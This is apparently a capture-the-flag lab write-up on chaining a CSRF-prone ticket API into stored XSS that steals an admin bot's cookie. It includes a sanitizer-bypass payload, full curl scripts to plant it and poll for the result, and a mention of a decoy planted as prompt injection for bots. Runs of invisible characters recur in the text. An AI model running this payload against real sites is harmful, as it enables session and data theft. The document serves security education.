← Back to Writeups
CUSTOMMediumWeb

Lab 292 — TeamPulse — CSRF to Stored XSS Chain

XESXOR9/2/20265 min read
#web#custom#medium#admin_bot_exploitation#custom_sanitizer_regex_bypass#decoy_flag_avoidance#html5_parser_malformed_endtag_#same_origin_cookie_exfiltratio#stored_xss_via_malformed_scrip#urlsearchparams_to_avoid_sanit

Lab 292 — TeamPulse — CSRF to Stored XSS Chain

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, custom_sanitizer_regex_bypass, decoy_flag_avoidance, html5_parser_malformed_endtag_tolerance, same_origin_cookie_exfiltration_via_ticket_reply, stored_xss_via_malformed_script_closing_tag, urlsearchparams_to_avoid_sanitizer_false_positive

Summary

Walkthrough of the CUSTOM Web Lab 292 — TeamPulse — CSRF to Stored XSS Chain. Task: TeamPulse exposes a CSRF-prone ticket API and renders sanitized rich HTML for an admin bot. Solution: a malformed script closing tag bypasses the custom sanitizer, then same-origin replies exfil

Description

Chain CSRF -> Stored XSS to steal admin cookies. Admin reviews new support tickets.

TeamPulse is a support-ticket application. An authenticated user can submit rich HTML in a ticket, and an administrator automatically reviews new tickets. The objective is to turn the weak request protections and unsafe HTML rendering into stored JavaScript execution in the administrator's browser, then recover the real flag from the administrator's cookies. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Application Analysis

The application was an Express service behind nginx. Ticket pages did not send a Content-Security-Policy, so successful sanitizer evasion could execute unrestricted same-origin JavaScript.

The important endpoints were:

EndpointBehavior
POST /api/ticketsAccepts JSON and application/x-www-form-urlencoded; creates a ticket without a CSRF token
GET /tickets/:idRenders ticket content as HTML after custom sanitization
POST /api/tickets/:id/replyAccepts a reply; output is HTML-escaped and visible to the ticket owner
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The ticket form explicitly said that HTML formatting was supported and that an administrator would review submissions. This identified the ticket body as the intended stored-XSS sink.

The session cookie, connect.sid, had HttpOnly, Secure, and SameSite=Lax. JavaScript therefore could not read the session identifier. The administrator also had a separate, JavaScript-readable cookie containing the flag, which remained accessible through document.cookie.

CSRF properties

POST /api/tickets accepted form-encoded data and had no anti-CSRF token. That makes it a CSRF-prone state-changing endpoint and avoids a CORS preflight for a simple form submission. In this instance, however, SameSite=Lax prevented the session cookie from accompanying an ordinary cross-site POST. The reproducible exploit below therefore creates the malicious ticket through the attacker's authenticated session. The decisive chain is the stored XSS executed by the admin reviewer and the same-origin reply used for exfiltration. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Sanitizer Testing

The custom sanitizer removed the common payload families:

  • conventional <script>...</script> blocks;
  • ordinary on* event handlers, including mixed-case and whitespace variants;
  • javascript: URLs;
  • iframe, object, and embed elements;
  • SVG onload and SMIL onbegin/onend handlers;
  • slash-separator variants such as <svg/onload=...>.

The bypass was a malformed closing tag:

html
<script>CODE</script x>

The sanitizer expected a conventional </script> closing tag, so this input survived its pattern. Chrome's HTML parser nevertheless recognized </script x> as the end of the script element and executed CODE. This parser differential converted sanitized rich HTML into stored XSS. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exfiltration Design

External callback infrastructure was unnecessary. The attacker owned another ticket and could read its replies. Because the injected code ran on the TeamPulse origin, it could send an authenticated POST directly to that receiver ticket. This is reliable because it avoids DNS, outbound-network restrictions, mixed-content issues, and CORS; the browser automatically applies the administrator's same-origin credentials.

The first payload attempted to send a literal form body:

javascript
body:'content='+encodeURIComponent(document.cookie)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

It was mangled because the sanitizer's overbroad event-handler regular expression matched the ontent= substring inside content=. Constructing the form body with URLSearchParams removed the dangerous literal equals sign from the source while still producing a correct form-encoded request:

html
<script>fetch('/api/tickets/10/reply',{method:'POST',body:new URLSearchParams({content:document.cookie})})</script x>

Reproducible Solution

The following commands use a cookie jar, create a fresh receiver ticket, submit the stored-XSS ticket, and poll only for the verified real-flag shape. Replace BASE if the lab instance changes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. Log in

bash
BASE='https://20864599-36bc-4b5a-adc7-2d05af7d290b.labs.hackadvisor.io'
JAR='./cookies.txt'

curl -sS -L -c "$JAR" -b "$JAR" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'email=user@test.com' \
  --data-urlencode 'password=password123' \
  "$BASE/login" >/dev/null

2. Create an attacker-owned receiver ticket

bash
RECEIVER_JSON=$(curl -sS -b "$JAR" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'title=XSS receiver' \
  --data-urlencode 'content=Waiting for admin callback' \
  --data-urlencode 'priority=low' \
  "$BASE/api/tickets")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

RECEIVER_ID=$(printf '%s' "$RECEIVER_JSON" | jq -r '.id')
printf 'receiver ticket: %s\n' "$RECEIVER_ID"

The solved instance used receiver ticket #10, but using the returned ID keeps the procedure reproducible.

3. Submit the stored-XSS ticket

Build the payload with printf so the receiver ID is inserted without introducing shell-quoting errors. --data-urlencode preserves the HTML and JavaScript exactly while encoding the outer HTTP form.

bash
PAYLOAD=$(printf \
  "<script>fetch('/api/tickets/%s/reply',{method:'POST',body:new URLSearchParams({content:document.cookie})})</script x>" \
  "$RECEIVER_ID")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ATTACK_JSON=$(curl -sS -b "$JAR" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'title=Urgent account problem' \
  --data-urlencode "content=$PAYLOAD" \
  --data-urlencode 'priority=high' \
  "$BASE/api/tickets")

printf 'attack ticket: %s\n' "$(printf '%s' "$ATTACK_JSON" | jq -r '.id')"

In the verified run this produced high-priority ticket #70. The admin bot opened it, Chrome interpreted the malformed close tag as the script terminator, and the script POSTed document.cookie to receiver ticket #10. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Poll the receiver for only the real flag pattern

The application inserted a fake flag containing non-hex text into hidden HTML. Matching exactly 32 lowercase hexadecimal characters avoids accepting that decoy.

bash
while :; do
  PAGE=$(curl -sS -b "$JAR" "$BASE/tickets/$RECEIVER_ID")
  FLAG=$(printf '%s' "$PAGE" | perl -ne \
    'print "$1\n" if /(FLAG\{[0-9a-f]{32}\})/' | sort -u | sed -n '1p')
  if [ -n "$FLAG" ]; then
    printf '%s\n' "$FLAG"
    break
  fi
  sleep 2
done

The receiver reply contained: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
flag=FLAG{REDACTED}

Dead Ends and Eliminated Hypotheses

  • The hidden HTML-source flag is real: false. FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} appeared in hidden prompt-injection content and was a deliberate decoy.
  • A standard event handler or SVG SMIL bypass works: false. The sanitizer stripped ordinary on* attributes and SMIL onbegin/onend handlers.
  • The DevTalk-style <svg/onload> slash separator works: false. Slash-separator and related mixed-case/whitespace variants were removed here.
  • connect.sid can be stolen with document.cookie: false. It was HttpOnly; the target was the separate readable flag cookie.
  • External exfiltration is required: false. A same-origin POST to an attacker-owned ticket reply was simpler and more reliable.
  • A literal content= body is safe inside the payload: false. The sanitizer matched ontent= as though it were an event-handler attribute. URLSearchParams({content:document.cookie}) avoided that source substring. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_bot_exploitation, custom_sanitizer_regex_bypass, decoy_flag_avoidance, html5_parser_malformed_endtag_tolerance, same_origin_cookie_exfiltration_via_ticket_reply, stored_xss_via_malformed_script_closing_tag, urlsearchparams_to_avoid_sanitizer_false_positive was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-14 • CUSTOM • Lab 292 — TeamPulse — CSRF to Stored XSS Chain • Difficulty: Medium